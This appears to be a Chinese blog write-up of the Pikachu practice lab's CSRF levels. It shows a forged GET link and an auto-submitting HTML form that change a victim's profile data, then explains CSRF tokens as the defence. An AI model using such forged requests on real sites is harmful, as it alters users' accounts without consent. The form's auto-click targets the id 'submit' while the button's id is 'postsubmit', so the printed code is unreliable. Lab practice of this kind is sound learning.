CSRF(跨站请求伪造)
概念:也被称为“One Click Attack”或者“Session Riding”,通过伪装来自受信任用户的请求来攻击受信任的网站。
CSRF(get)
关于这关的意义不是很明白,有懂的可以在下面评论区说一下。下面看过程吧。
根据他给的用户名和密码随便进一个,然后发现修改的信息并不会在URL里面显示,然后拿bp抓包,抓的是修改信息内。
发现他的可以修改信息,直接在里面修改完放行,他的个人信息就可以修改完了。
还可以就是把这段 /pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=22&email=vince%40pikachu.com&submit=submit 复制下来加上http和主机地址补充完整,去访问这段网址,直接会跳到修改信息的界面。直接在连接里面改也可以。访问就是直接改完的。图就不放了。
CSRF(post)
发现URL不再显示参数,无法通过URL来伪造请求进行修改,但是本页面可以抓到可以修改的参数,可以通过bp直接修改。方法二:构造表单,这个我试了几次才成功,代码放下面了。
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="utf-8">
<title>csrf的post</title>
<script> <!-- 这个script是用来自动提交表单的-->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
</head>
<body>
<form action="http://192.168.0.105/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="text" name="sex" value="boy" />
<input type="kobe" name="phonenum" value="18626545453" />
<input type="kobe" name="add" value="9" />
<input type="kobe" name="email" value="vince@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
CSRF Token
这关是防范CSRF的常用方法的一个演示。
token验证原理
CSRF的主要问题是敏感操作的链接容易被伪造
每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证
网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。